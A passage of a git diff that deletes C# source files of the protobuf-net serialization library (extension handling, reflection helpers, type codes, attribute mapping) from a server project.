DataFormat format, object value) - { - ExtensibleUtil.AppendExtendValue(model, instance, tag, format, value); - } - } -} \ No newline at end of file diff --git a/Server/Core/ProtoBuf/ExtensibleUtil.cs b/Server/Core/ProtoBuf/ExtensibleUtil.cs deleted file mode 100644 index 4686d692..00000000 --- a/Server/Core/ProtoBuf/ExtensibleUtil.cs +++ /dev/null @@ -1,167 +0,0 @@ -using System; -using System.Collections; -#if !NO_GENERICS -using System.Collections.Generic; -#endif -using System.IO; -using ProtoBuf.Meta; - -namespace ProtoBuf -{ - /// - /// This class acts as an internal wrapper allowing us to do a dynamic - /// methodinfo invoke; an't put into Serializer as don't want on public - /// API; can't put into Serializer<T> since we need to invoke - /// accross classes, which isn't allowed in Silverlight) - /// - internal -#if FX11 - sealed -#else - static -#endif - class ExtensibleUtil - { -#if FX11 - private ExtensibleUtil() { } // not a static class for C# 1.2 reasons -#endif - -#if !NO_RUNTIME && !NO_GENERICS - /// - /// All this does is call GetExtendedValuesTyped with the correct type for "instance"; - /// this ensures that we don't get issues with subclasses declaring conflicting types - - /// the caller must respect the fields defined for the type they pass in. - /// - internal static IEnumerable GetExtendedValues(IExtensible instance, int tag, DataFormat format, - bool singleton, bool allowDefinedTag) - { - foreach ( - TValue value in - GetExtendedValues(RuntimeTypeModel.Default, typeof (TValue), instance, tag, format, singleton, - allowDefinedTag)) - { - yield return value; - } - } -#endif - - /// - /// All this does is call GetExtendedValuesTyped with the correct type for "instance"; - /// this ensures that we don't get issues with subclasses declaring conflicting types - - /// the caller must respect the fields defined for the type they pass in. - /// - internal static IEnumerable GetExtendedValues(TypeModel model, Type type, IExtensible instance, int tag, - DataFormat format, bool singleton, bool allowDefinedTag) - { -#if FEAT_IKVM - throw new NotSupportedException(); -#else - - if (instance == null) throw new ArgumentNullException("instance"); - if (tag <= 0) throw new ArgumentOutOfRangeException("tag"); - IExtension extn = instance.GetExtensionObject(false); - - if (extn == null) - { -#if FX11 - return new object[0]; -#else - yield break; -#endif - } - -#if FX11 - BasicList result = new BasicList(); -#endif - Stream stream = extn.BeginQuery(); - object value = null; - ProtoReader reader = null; - try - { - SerializationContext ctx = new SerializationContext(); - reader = ProtoReader.Create(stream, model, ctx, ProtoReader.TO_EOF); - while ( - model.TryDeserializeAuxiliaryType(reader, format, tag, type, ref value, true, false, false, false) && - value != null) - { - if (!singleton) - { -#if FX11 - result.Add(value); -#else - yield return value; -#endif - value = null; // fresh item each time - } - } - if (singleton && value != null) - { -#if FX11 - result.Add(value); -#else - yield return value; -#endif - } -#if FX11 - object[] resultArr = new object[result.Count]; - result.CopyTo(resultArr, 0); - return resultArr; -#endif - } - finally - { - ProtoReader.Recycle(reader); - extn.EndQuery(stream); - } -#endif - } - - internal static void AppendExtendValue(TypeModel model, IExtensible instance, int tag, DataFormat format, - object value) - { -#if FEAT_IKVM - throw new NotSupportedException(); -#else - if (instance == null) throw new ArgumentNullException("instance"); - if (value == null) throw new ArgumentNullException("value"); - - // TODO - //model.CheckTagNotInUse(tag); - - // obtain the extension object and prepare to write - IExtension extn = instance.GetExtensionObject(true); - if (extn == null) - throw new InvalidOperationException("No extension object available; appended data would be lost."); - bool commit = false; - Stream stream = extn.BeginAppend(); - try - { - using (ProtoWriter writer = new ProtoWriter(stream, model, null)) - { - model.TrySerializeAuxiliaryType(writer, null, format, tag, value, false); - writer.Close(); - } - commit = true; - } - finally - { - extn.EndAppend(stream, commit); - } -#endif - } - -//#if !NO_GENERICS -// /// -// /// Stores the given value into the instance's stream; the serializer -// /// is inferred from TValue and format. -// /// -// /// Needs to be public to be callable thru reflection in Silverlight -// public static void AppendExtendValueTyped( -// TypeModel model, TSource instance, int tag, DataFormat format, TValue value) -// where TSource : class, IExtensible -// { -// AppendExtendValue(model, instance, tag, format, value); -// } -//#endif - } -} \ No newline at end of file diff --git a/Server/Core/ProtoBuf/GlobalSuppressions.cs b/Server/Core/ProtoBuf/GlobalSuppressions.cs deleted file mode 100644 index 72b01be499b6212c24ac4fef8bbba0fd458ab6d2..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2940 zcmeH}Pm2>l5XI{(_#N8Wi-H>!1X1v?t_XWjgyf)zhjB9bqnSy_%q--~tH0N^%}kO- z6g=p%G?VV>s;+wVs;VbHzTdSwc4AALS+INd#y;2+hISt@f=z6Jv|%-4URlY?-#d0o zoAUm}cKn{(nm5VMthOB89U89NA`4cryF}Jr&B4aj*@m&@T*G*KHRm>umU|W$=uAMWh!yEJ#v+XCsFRS+IVs&5$uLfN+pu3C7w5&1ot!h`y+O8)x_a|S zb5>%%!h-DN=#=&_%6Cy$Ye_4Z6l%SfoGu1z^mryQjvRmTA?w$3k^J{er+SfnQT|ijRVBT&NAs&1^BU@~-eO5!H(>XAOX#wriVFudm&KEb;UU%@ zMP?Tf-(mH7RRp@oJ0%-18tfxzI#5j`qpAy{fLNIQ1I*%7idBpj5UR_7nSu{XIHjb-$1ATL#Or zqTXwGW>_8BJG@lv*Z6YYGklzJ|2(tD_7sd4u%!+W2F0m*ZSc0hhB7_1SL}^rT`OiW zDU@4=cerAeZLyG|P4hlV`3m-uC&OxoKgTo%w|7~R9`~1PPKc-PcDLlWih9#+iYrBN z8TlyT#c$0O-X7TJi1RjEf0ix3)5WpA4KwZ-byfSHGy43u>;F7<_us1ho5|))y-jq7 e>0id}?a{_>-oJF$_c_shrssrg>A#!4Wg} diff --git a/Server/Core/ProtoBuf/Helpers.cs b/Server/Core/ProtoBuf/Helpers.cs deleted file mode 100644 index b795fbac..00000000 --- a/Server/Core/ProtoBuf/Helpers.cs +++ /dev/null @@ -1,630 +0,0 @@ -using System; -using System.Collections; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf -{ - /// - /// Not all frameworks are created equal (fx1.1 vs fx2.0, - /// micro-framework, compact-framework, - /// silverlight, etc). This class simply wraps up a few things that would - /// otherwise make the real code unnecessarily messy, providing fallback - /// implementations if necessary. - /// - internal sealed class Helpers - { - private Helpers() - { - } - - public static System.Text.StringBuilder AppendLine(System.Text.StringBuilder builder) - { -#if CF2 - return builder.Append("\r\n"); -#elif FX11 - return builder.Append(Environment.NewLine); -#else - return builder.AppendLine(); -#endif - } - - public static bool IsNullOrEmpty(string value) - { - // yes, FX11 lacks this! - return value == null || value.Length == 0; - } - - [System.Diagnostics.Conditional("DEBUG")] - public static void DebugWriteLine(string message, object obj) - { -#if DEBUG - string suffix; - try - { - suffix = obj == null ? "(null)" : obj.ToString(); - } - catch - { - suffix = "(exception)"; - } - DebugWriteLine(message + ": " + suffix); -#endif - } - - [System.Diagnostics.Conditional("DEBUG")] - public static void DebugWriteLine(string message) - { -#if DEBUG -#if MF - Microsoft.SPOT.Debug.Print(message); -#else - System.Diagnostics.Debug.WriteLine(message); -#endif -#endif - } - - [System.Diagnostics.Conditional("TRACE")] - public static void TraceWriteLine(string message) - { -#if TRACE -#if MF - Microsoft.SPOT.Trace.Print(message); -#elif SILVERLIGHT || MONODROID || CF2 || WINRT || IOS || PORTABLE - System.Diagnostics.Debug.WriteLine(message); -#else - System.Diagnostics.Trace.WriteLine(message); -#endif -#endif - } - - [System.Diagnostics.Conditional("DEBUG")] - public static void DebugAssert(bool condition, string message) - { -#if DEBUG - if (!condition) - { -#if MF - Microsoft.SPOT.Debug.Assert(false, message); -#else - System.Diagnostics.Debug.Assert(false, message); - } -#endif -#endif - } - - [System.Diagnostics.Conditional("DEBUG")] - public static void DebugAssert(bool condition, string message, params object[] args) - { -#if DEBUG - if (!condition) DebugAssert(false, string.Format(message, args)); -#endif - } - - [System.Diagnostics.Conditional("DEBUG")] - public static void DebugAssert(bool condition) - { -#if DEBUG -#if MF - Microsoft.SPOT.Debug.Assert(condition); -#else - if (!condition && System.Diagnostics.Debugger.IsAttached) System.Diagnostics.Debugger.Break(); - System.Diagnostics.Debug.Assert(condition); -#endif -#endif - } - -#if !NO_RUNTIME - public static void Sort(int[] keys, object[] values) - { - // bubble-sort; it'll work on MF, has small code, - // and works well-enough for our sizes. This approach - // also allows us to do `int` compares without having - // to go via IComparable etc, so win:win - bool swapped; - do - { - swapped = false; - for (int i = 1; i < keys.Length; i++) - { - if (keys[i - 1] > keys[i]) - { - int tmpKey = keys[i]; - keys[i] = keys[i - 1]; - keys[i - 1] = tmpKey; - object tmpValue = values[i]; - values[i] = values[i - 1]; - values[i - 1] = tmpValue; - swapped = true; - } - } - } while (swapped); - } -#endif - - public static void BlockCopy(byte[] from, int fromIndex, byte[] to, int toIndex, int count) - { -#if MF || WINRT - Array.Copy(from, fromIndex, to, toIndex, count); -#else - Buffer.BlockCopy(from, fromIndex, to, toIndex, count); -#endif - } - - public static bool IsInfinity(float value) - { -#if MF - const float inf = (float)1.0 / (float)0.0, minf = (float)-1.0F / (float)0.0; - return value == inf || value == minf; -#else - return float.IsInfinity(value); -#endif - } - -#if WINRT - internal static MemberInfo GetInstanceMember(TypeInfo declaringType, string name) - { - PropertyInfo prop = declaringType.GetDeclaredProperty(name); - MethodInfo method; - if (prop != null && (method = Helpers.GetGetMethod(prop, true, true)) != null && !method.IsStatic) return prop; - - FieldInfo field = declaringType.GetDeclaredField(name); - if (field != null && !field.IsStatic) return field; - - return null; - } - internal static MethodInfo GetInstanceMethod(TypeInfo declaringType, string name) - { - foreach (MethodInfo method in declaringType.DeclaredMethods) - { - if (!method.IsStatic && method.Name == name) - { - return method; - } - } - return null; - } - internal static MethodInfo GetStaticMethod(TypeInfo declaringType, string name) - { - foreach (MethodInfo method in declaringType.DeclaredMethods) - { - if (method.IsStatic && method.Name == name) - { - return method; - } - } - return null; - } - internal static MethodInfo GetInstanceMethod(Type declaringType, string name, Type[] types) - { - return GetInstanceMethod(declaringType.GetTypeInfo(), name, types); - } - internal static MethodInfo GetInstanceMethod(TypeInfo declaringType, string name, Type[] types) - { - if (types == null) types = EmptyTypes; - foreach (MethodInfo method in declaringType.DeclaredMethods) - { - if (!method.IsStatic && method.Name == name) - { - if(IsMatch(method.GetParameters(), types)) return method; - } - } - return null; - } -#else - internal static MethodInfo GetInstanceMethod(Type declaringType, string name) - { - return declaringType.GetMethod(name, BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic); - } - - internal static MethodInfo GetStaticMethod(Type declaringType, string name) - { - return declaringType.GetMethod(name, BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic); - } - - internal static MethodInfo GetInstanceMethod(Type declaringType, string name, Type[] types) - { - if (types == null) types = EmptyTypes; -#if PORTABLE - MethodInfo method = declaringType.GetMethod(name, types); - if (method != null && method.IsStatic) method = null; - return method; -#else - return declaringType.GetMethod(name, BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic, - null, types, null); -#endif - } -#endif - - internal static bool IsSubclassOf(Type type, Type baseClass) - { -#if WINRT - return type.GetTypeInfo().IsSubclassOf(baseClass); -#else - return type.IsSubclassOf(baseClass); -#endif - } - - public static bool IsInfinity(double value) - { -#if MF - const double inf = (double)1.0 / (double)0.0, minf = (double)-1.0F / (double)0.0; - return value == inf || value == minf; -#else - return double.IsInfinity(value); -#endif - } - - public static readonly Type[] EmptyTypes = -#if PORTABLE || WINRT || CF2 || CF35 - new Type[0]; -#else - Type.EmptyTypes; -#endif - -#if WINRT - private static readonly Type[] knownTypes = new Type[] { - typeof(bool), typeof(char), typeof(sbyte), typeof(byte), - typeof(short), typeof(ushort), typeof(int), typeof(uint), - typeof(long), typeof(ulong), typeof(float), typeof(double), - typeof(decimal), typeof(string), - typeof(DateTime), typeof(TimeSpan), typeof(Guid), typeof(Uri), - typeof(byte[]), typeof(System.Type)}; - private static readonly ProtoTypeCode[] knownCodes = new ProtoTypeCode[] { - ProtoTypeCode.Boolean, ProtoTypeCode.Char, ProtoTypeCode.SByte, ProtoTypeCode.Byte, - ProtoTypeCode.Int16, ProtoTypeCode.UInt16, ProtoTypeCode.Int32, ProtoTypeCode.UInt32, - ProtoTypeCode.Int64, ProtoTypeCode.UInt64, ProtoTypeCode.Single, ProtoTypeCode.Double, - ProtoTypeCode.Decimal, ProtoTypeCode.String, - ProtoTypeCode.DateTime, ProtoTypeCode.TimeSpan, ProtoTypeCode.Guid, ProtoTypeCode.Uri, - ProtoTypeCode.ByteArray, ProtoTypeCode.Type - }; - -#endif - -#if FEAT_IKVM - public static ProtoTypeCode GetTypeCode(IKVM.Reflection.Type type) - { - TypeCode code = IKVM.Reflection.Type.GetTypeCode(type); - switch (code) - { - case TypeCode.Empty: - case TypeCode.Boolean: - case TypeCode.Char: - case TypeCode.SByte: - case TypeCode.Byte: - case TypeCode.Int16: - case TypeCode.UInt16: - case TypeCode.Int32: - case TypeCode.UInt32: - case TypeCode.Int64: - case TypeCode.UInt64: - case TypeCode.Single: - case TypeCode.Double: - case TypeCode.Decimal: - case TypeCode.DateTime: - case TypeCode.String: - return (ProtoTypeCode)code; - } - switch(type.FullName) - { - case "System.TimeSpan": return ProtoTypeCode.TimeSpan; - case "System.Guid": return ProtoTypeCode.Guid; - case "System.Uri": return ProtoTypeCode.Uri; - case "System.Byte[]": return ProtoTypeCode.ByteArray; - case "System.Type": return ProtoTypeCode.Type; - } - return ProtoTypeCode.Unknown; - } -#endif - - public static ProtoTypeCode GetTypeCode(System.Type type) - { -#if WINRT - - int idx = Array.IndexOf(knownTypes, type); - if (idx >= 0) return knownCodes[idx]; - return type == null ? ProtoTypeCode.Empty : ProtoTypeCode.Unknown; -#else - TypeCode code = System.Type.GetTypeCode(type); - switch (code) - { - case TypeCode.Empty: - case TypeCode.Boolean: - case TypeCode.Char: - case TypeCode.SByte: - case TypeCode.Byte: - case TypeCode.Int16: - case TypeCode.UInt16: - case TypeCode.Int32: - case TypeCode.UInt32: - case TypeCode.Int64: - case TypeCode.UInt64: - case TypeCode.Single: - case TypeCode.Double: - case TypeCode.Decimal: - case TypeCode.DateTime: - case TypeCode.String: - return (ProtoTypeCode) code; - } - if (type == typeof (TimeSpan)) return ProtoTypeCode.TimeSpan; - if (type == typeof (Guid)) return ProtoTypeCode.Guid; - if (type == typeof (Uri)) return ProtoTypeCode.Uri; - if (type == typeof (byte[])) return ProtoTypeCode.ByteArray; - if (type == typeof (System.Type)) return ProtoTypeCode.Type; - - return ProtoTypeCode.Unknown; -#endif - } - - -#if FEAT_IKVM - internal static IKVM.Reflection.Type GetUnderlyingType(IKVM.Reflection.Type type) - { - if (type.IsValueType && type.IsGenericType && type.GetGenericTypeDefinition().FullName == "System.Nullable`1") - { - return type.GetGenericArguments()[0]; - } - return null; - } -#endif - - internal static System.Type GetUnderlyingType(System.Type type) - { -#if NO_GENERICS - return null; // never a Nullable, so always returns null -#else - return Nullable.GetUnderlyingType(type); -#endif - } - - internal static bool IsValueType(Type type) - { -#if WINRT - return type.GetTypeInfo().IsValueType; -#else - return type.IsValueType; -#endif - } - - internal static bool IsEnum(Type type) - { -#if WINRT - return type.GetTypeInfo().IsEnum; -#else - return type.IsEnum; -#endif - } - - internal static MethodInfo GetGetMethod(PropertyInfo property, bool nonPublic, bool allowInternal) - { - if (property == null) return null; -#if WINRT - MethodInfo method = property.GetMethod; - if (!nonPublic && method != null && !method.IsPublic) method = null; - return method; -#else - MethodInfo method = property.GetGetMethod(nonPublic); - if (method == null && !nonPublic && allowInternal) - { - // could be "internal" or "protected internal"; look for a non-public, then back-check - method = property.GetGetMethod(true); - if (method == null && !(method.IsAssembly || method.IsFamilyOrAssembly)) - { - method = null; - } - } - return method; -#endif - } - - internal static MethodInfo GetSetMethod(PropertyInfo property, bool nonPublic, bool allowInternal) - { - if (property == null) return null; -#if WINRT - MethodInfo method = property.SetMethod; - if (!nonPublic && method != null && !method.IsPublic) method = null; - return method; -#else - MethodInfo method = property.GetSetMethod(nonPublic); - if (method == null && !nonPublic && allowInternal) - { - // could be "internal" or "protected internal"; look for a non-public, then back-check - method = property.GetGetMethod(true); - if (method == null && !(method.IsAssembly || method.IsFamilyOrAssembly)) - { - method = null; - } - } - return method; -#endif - } - -#if FEAT_IKVM - internal static bool IsMatch(IKVM.Reflection.ParameterInfo[] parameters, IKVM.Reflection.Type[] parameterTypes) - { - if (parameterTypes == null) parameterTypes = Helpers.EmptyTypes; - if (parameters.Length != parameterTypes.Length) return false; - for (int i = 0; i < parameters.Length; i++) - { - if (parameters[i].ParameterType != parameterTypes[i]) return false; - } - return true; - } -#endif -#if WINRT - private static bool IsMatch(ParameterInfo[] parameters, Type[] parameterTypes) - { - if (parameterTypes == null) parameterTypes = EmptyTypes; - if (parameters.Length != parameterTypes.Length) return false; - for (int i = 0; i < parameters.Length; i++) - { - if (parameters[i].ParameterType != parameterTypes[i]) return false; - } - return true; - } - internal static ConstructorInfo GetConstructor(TypeInfo type, Type[] parameterTypes, bool nonPublic) - { - foreach (ConstructorInfo ctor in type.DeclaredConstructors) - { - if (!nonPublic && !ctor.IsPublic) continue; - if (IsMatch(ctor.GetParameters(), parameterTypes)) return ctor; - } - return null; - } - internal static ConstructorInfo[] GetConstructors(TypeInfo typeInfo, bool nonPublic) - { - if (nonPublic) return System.Linq.Enumerable.ToArray(typeInfo.DeclaredConstructors); - return System.Linq.Enumerable.ToArray( - System.Linq.Enumerable.Where(typeInfo.DeclaredConstructors, x => x.IsPublic)); - } - internal static PropertyInfo GetProperty(TypeInfo type, string name, bool nonPublic) - { - return type.GetDeclaredProperty(name); - } -#else - - internal static ConstructorInfo GetConstructor(Type type, Type[] parameterTypes, bool nonPublic) - { -#if PORTABLE - // pretty sure this will only ever return public, but... - ConstructorInfo ctor = type.GetConstructor(parameterTypes); - return (ctor != null && (nonPublic || ctor.IsPublic)) ? ctor : null; -#else - return type.GetConstructor( - nonPublic - ? BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic - : BindingFlags.Instance | BindingFlags.Public, - null, parameterTypes, null); -#endif - } - - internal static ConstructorInfo[] GetConstructors(Type type, bool nonPublic) - { - return type.GetConstructors( - nonPublic - ? BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic - : BindingFlags.Instance | BindingFlags.Public); - } - - internal static PropertyInfo GetProperty(Type type, string name, bool nonPublic) - { - return type.GetProperty(name, - nonPublic - ? BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic - : BindingFlags.Instance | BindingFlags.Public); - } -#endif - - - internal static object ParseEnum(Type type, string value) - { -#if FEAT_IKVM - FieldInfo[] fields = type.GetFields(); - foreach (FieldInfo field in fields) - { - if (string.Equals(field.Name, value, StringComparison.OrdinalIgnoreCase)) return field.GetRawConstantValue(); - } - throw new ArgumentException("Enum value could not be parsed: " + value + ", " + type.FullName); -#else - return Enum.Parse(type, value, true); -#endif - } - - - internal static MemberInfo[] GetInstanceFieldsAndProperties(Type type, bool publicOnly) - { -#if WINRT - System.Collections.Generic.List members = new System.Collections.Generic.List(); - foreach(FieldInfo field in type.GetRuntimeFields()) - { - if(field.IsStatic) continue; - if(field.IsPublic || !publicOnly) members.Add(field); - } - foreach(PropertyInfo prop in type.GetRuntimeProperties()) - { - MethodInfo getter = Helpers.GetGetMethod(prop, true, true); - if(getter == null || getter.IsStatic) continue; - if(getter.IsPublic || !publicOnly) members.Add(prop); - } - return members.ToArray(); -#else - BindingFlags flags = publicOnly - ? BindingFlags.Public | BindingFlags.Instance - : BindingFlags.Public | BindingFlags.Instance | BindingFlags.NonPublic; - PropertyInfo[] props = type.GetProperties(flags); - FieldInfo[] fields = type.GetFields(flags); - MemberInfo[] members = new MemberInfo[fields.Length + props.Length]; - props.CopyTo(members, 0); - fields.CopyTo(members, props.Length); - return members; -#endif - } - - internal static Type GetMemberType(MemberInfo member) - { -#if WINRT || PORTABLE - PropertyInfo prop = member as PropertyInfo; - if (prop != null) return prop.PropertyType; - FieldInfo fld = member as FieldInfo; - return fld == null ? null : fld.FieldType; -#else - switch (member.MemberType) - { - case MemberTypes.Field: - return ((FieldInfo) member).FieldType; - case MemberTypes.Property: - return ((PropertyInfo) member).PropertyType; - default: - return null; - } -#endif - } - - internal static bool IsAssignableFrom(Type target, Type type) - { -#if WINRT - return target.GetTypeInfo().IsAssignableFrom(type.GetTypeInfo()); -#else - return target.IsAssignableFrom(type); -#endif - } - } - - /// - /// Intended to be a direct map to regular TypeCode, but: - /// - with missing types - /// - existing on WinRT - /// - internal enum ProtoTypeCode - { - Empty = 0, - Unknown = 1, // maps to TypeCode.Object - Boolean = 3, - Char = 4, - SByte = 5, - Byte = 6, - Int16 = 7, - UInt16 = 8, - Int32 = 9, - UInt32 = 10, - Int64 = 11, - UInt64 = 12, - Single = 13, - Double = 14, - Decimal = 15, - DateTime = 16, - String = 18, - - // additions - TimeSpan = 100, - ByteArray = 101, - Guid = 102, - Uri = 103, - Type = 104 - } -} \ No newline at end of file diff --git a/Server/Core/ProtoBuf/IExtensible.cs b/Server/Core/ProtoBuf/IExtensible.cs deleted file mode 100644 index 1e25e848..00000000 --- a/Server/Core/ProtoBuf/IExtensible.cs +++ /dev/null @@ -1,22 +0,0 @@ -namespace ProtoBuf -{ - /// - /// Indicates that the implementing type has support for protocol-buffer - /// extensions. - /// - /// Can be implemented by deriving from Extensible. - public interface IExtensible - { - /// - /// Retrieves the extension object for the current - /// instance, optionally creating it if it does not already exist. - /// - /// Should a new extension object be - /// created if it does not already exist? - /// The extension object if it exists (or was created), or null - /// if the extension object does not exist or is not available. - /// The createIfMissing argument is false during serialization, - /// and true during deserialization upon encountering unexpected fields. - IExtension GetExtensionObject(bool createIfMissing); - } -} \ No newline at end of file diff --git a/Server/Core/ProtoBuf/IExtension.cs b/Server/Core/ProtoBuf/IExtension.cs deleted file mode 100644 index dfc6138f..00000000 --- a/Server/Core/ProtoBuf/IExtension.cs +++ /dev/null @@ -1,47 +0,0 @@ -using System.IO; - -namespace ProtoBuf -{ - /// - /// Provides addition capability for supporting unexpected fields during - /// protocol-buffer serialization/deserialization. This allows for loss-less - /// round-trip/merge, even when the data is not fully understood. - /// - public interface IExtension - { - /// - /// Requests a stream into which any unexpected fields can be persisted. - /// - /// A new stream suitable for storing data. - Stream BeginAppend(); - - /// - /// Indicates that all unexpected fields have now been stored. The - /// implementing class is responsible for closing the stream. If - /// "commit" is not true the data may be discarded. - /// - /// The stream originally obtained by BeginAppend. - /// True if the append operation completed successfully. - void EndAppend(Stream stream, bool commit); - - /// - /// Requests a stream of the unexpected fields previously stored. - /// - /// A prepared stream of the unexpected fields. - Stream BeginQuery(); - - /// - /// Indicates that all unexpected fields have now been read. The - /// implementing class is responsible for closing the stream. - /// - /// The stream originally obtained by BeginQuery. - void EndQuery(Stream stream); - - /// - /// Requests the length of the raw binary stream; this is used - /// when serializing sub-entities to indicate the expected size. - /// - /// The length of the binary stream representing unexpected data. - int GetLength(); - } -} \ No newline at end of file diff --git a/Server/Core/ProtoBuf/ImplicitFields.cs b/Server/Core/ProtoBuf/ImplicitFields.cs deleted file mode 100644 index c9bbb863..00000000 --- a/Server/Core/ProtoBuf/ImplicitFields.cs +++ /dev/null @@ -1,33 +0,0 @@ -using System; - -namespace ProtoBuf -{ - /// - /// Specifies the method used to infer field tags for members of the type - /// under consideration. Tags are deduced using the invariant alphabetic - /// sequence of the members' names; this makes implicit field tags very brittle, - /// and susceptible to changes such as field names (normally an isolated - /// change). - /// - public enum ImplicitFields - { - /// - /// No members are serialized implicitly; all members require a suitable - /// attribute such as [ProtoMember]. This is the recmomended mode for - /// most scenarios. - /// - None = 0, - - /// - /// Public properties and fields are eligible for implicit serialization; - /// this treats the public API as a contract. Ordering beings from ImplicitFirstTag. - /// - AllPublic = 1, - - /// - /// Public and non-public fields are eligible for implicit serialization; - /// this acts as a state/implementation serializer. Ordering beings from ImplicitFirstTag. - /// - AllFields = 2 - } -} \ No newline at end of file diff --git a/Server/Core/ProtoBuf/KeyValuePairProxy.cs b/Server/Core/ProtoBuf/KeyValuePairProxy.cs deleted file mode 100644 index b2048db5..00000000 --- a/Server/Core/ProtoBuf/KeyValuePairProxy.cs +++ /dev/null @@ -1,47 +0,0 @@ -//#if !NO_GENERICS -//using System.Collections.Generic; - -//namespace ProtoBuf -//{ -// /// -// /// Mutable version of the common key/value pair struct; used during serialization. This type is intended for internal use only and should not -// /// be used by calling code; it is required to be public for implementation reasons. -// /// -// [ProtoContract] -// public struct KeyValuePairSurrogate -// { -// private TKey key; -// private TValue value; -// /// -// /// The key of the pair. -// /// -// [ProtoMember(1, IsRequired = true)] -// public TKey Key { get { return key; } set { key = value; } } -// /// -// /// The value of the pair. -// /// -// [ProtoMember(2)] -// public TValue Value{ get { return value; } set { this.value = value; } } -// private KeyValuePairSurrogate(TKey key, TValue value) -// { -// this.key = key; -// this.value = value; -// } -// /// -// /// Convert a surrogate instance to a standard pair instance. -// /// -// public static implicit operator KeyValuePair (KeyValuePairSurrogate value) -// { -// return new KeyValuePair(value.key, value.value); -// } -// /// -// /// Convert a standard pair instance to a surrogate instance. -// /// -// public static implicit operator KeyValuePairSurrogate(KeyValuePair value) -// { -// return new KeyValuePairSurrogate(value.Key, value.Value); -// } -// } -//} -//#endif - diff --git a/Server/Core/ProtoBuf/Meta/AttributeMap.cs b/Server/Core/ProtoBuf/Meta/AttributeMap.cs deleted file mode 100644 index db422a70..00000000 --- a/Server/Core/ProtoBuf/Meta/AttributeMap.cs +++ /dev/null @@ -1,207 +0,0 @@ -#if !NO_RUNTIME -using System; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Meta -{ - internal abstract class AttributeMap - { -#if DEBUG - [Obsolete("Please use AttributeType instead")] - public new Type GetType() - { - return AttributeType; - } -#endif - public abstract bool TryGet(string key, bool publicOnly, out object value); - - public bool TryGet(string key, out object value) - { - return TryGet(key, true, out value); - } - - public abstract Type AttributeType { get; } - - public static AttributeMap[] Create(TypeModel model, Type type, bool inherit) - { -#if FEAT_IKVM - Type attribType = model.MapType(typeof(System.Attribute)); - System.Collections.Generic.IList all = type.__GetCustomAttributes(attribType, inherit); - AttributeMap[] result = new AttributeMap[all.Count]; - int index = 0; - foreach (CustomAttributeData attrib in all) - { - result[index++] = new AttributeDataMap(attrib); - } - return result; -#else -#if WINRT - Attribute[] all = System.Linq.Enumerable.ToArray(type.GetTypeInfo().GetCustomAttributes(inherit)); -#else - object[] all = type.GetCustomAttributes(inherit); -#endif - AttributeMap[] result = new AttributeMap[all.Length]; - for (int i = 0; i < all.Length; i++) - { - result[i] = new ReflectionAttributeMap((Attribute) all[i]); - } - return result; -#endif - } - - public static AttributeMap[] Create(TypeModel model, MemberInfo member, bool inherit) - { -#if FEAT_IKVM - System.Collections.Generic.IList all = member.__GetCustomAttributes(model.MapType(typeof(Attribute)), inherit); - AttributeMap[] result = new AttributeMap[all.Count]; - int index = 0; - foreach (CustomAttributeData attrib in all) - { - result[index++] = new AttributeDataMap(attrib); - } - return result; -#else -#if WINRT - Attribute[] all = System.Linq.Enumerable.ToArray(member.GetCustomAttributes(inherit)); -#else - object[] all = member.GetCustomAttributes(inherit); -#endif - AttributeMap[] result = new AttributeMap[all.Length]; - for (int i = 0; i < all.Length; i++) - { - result[i] = new ReflectionAttributeMap((Attribute) all[i]); - } - return result; -#endif - } - - public static AttributeMap[] Create(TypeModel model, Assembly assembly) - { -#if FEAT_IKVM - const bool inherit = false; - System.Collections.Generic.IList all = assembly.__GetCustomAttributes(model.MapType(typeof(Attribute)), inherit); - AttributeMap[] result = new AttributeMap[all.Count]; - int index = 0; - foreach (CustomAttributeData attrib in all) - { - result[index++] = new AttributeDataMap(attrib); - } - return result; -#else -#if WINRT - Attribute[] all = System.Linq.Enumerable.ToArray(assembly.GetCustomAttributes()); -#else - const bool inherit = false; - object[] all = assembly.GetCustomAttributes(inherit); -#endif - AttributeMap[] result = new AttributeMap[all.Length]; - for (int i = 0; i < all.Length; i++) - { - result[i] = new ReflectionAttributeMap((Attribute) all[i]); - } - return result; -#endif - } - -#if FEAT_IKVM - private sealed class AttributeDataMap : AttributeMap - { - public override Type AttributeType - { - get { return attribute.Constructor.DeclaringType; } - } - private readonly CustomAttributeData attribute; - public AttributeDataMap(CustomAttributeData attribute) - { - this.attribute = attribute; - } - public override bool TryGet(string key, bool publicOnly, out object value) - { - foreach (CustomAttributeNamedArgument arg in attribute.NamedArguments) - { - if (string.Equals(arg.MemberInfo.Name, key, StringComparison.OrdinalIgnoreCase)) - { - value = arg.TypedValue.Value; - return true; - } - } - - - int index = 0; - ParameterInfo[] parameters = attribute.Constructor.GetParameters(); - foreach (CustomAttributeTypedArgument arg in attribute.ConstructorArguments) - { - if (string.Equals(parameters[index++].Name, key, StringComparison.OrdinalIgnoreCase)) - { - value = arg.Value; - return true; - } - } - value = null; - return false; - } - } -#else - public abstract object Target { get; } - - private sealed class ReflectionAttributeMap : AttributeMap - { - public override object Target - { - get { return attribute; } - } - - public override Type AttributeType - { - get { return attribute.GetType(); } - } - - public override bool TryGet(string key, bool publicOnly, out object value) - { - MemberInfo[] members = Helpers.GetInstanceFieldsAndProperties(attribute.GetType(), publicOnly); - foreach (MemberInfo member in members) - { -#if FX11 - if (member.Name.ToUpper() == key.ToUpper()) -#else - if (string.Equals(member.Name, key, StringComparison.OrdinalIgnoreCase)) -#endif - { - PropertyInfo prop = member as PropertyInfo; - if (prop != null) - { - value = prop.GetValue(attribute, null); - return true; - } - FieldInfo field = member as FieldInfo; - if (field != null) - { - value = field.GetValue(attribute); - return true; - } - - throw new NotSupportedException(member.GetType().Name); - } - } - value = null; - return false; - } - - private readonly Attribute attribute; - - public ReflectionAttributeMap(Attribute attribute) - { - this.attribute = attribute; - } - } -#endif - } -} - -#endif \ No newline at end of file diff --git 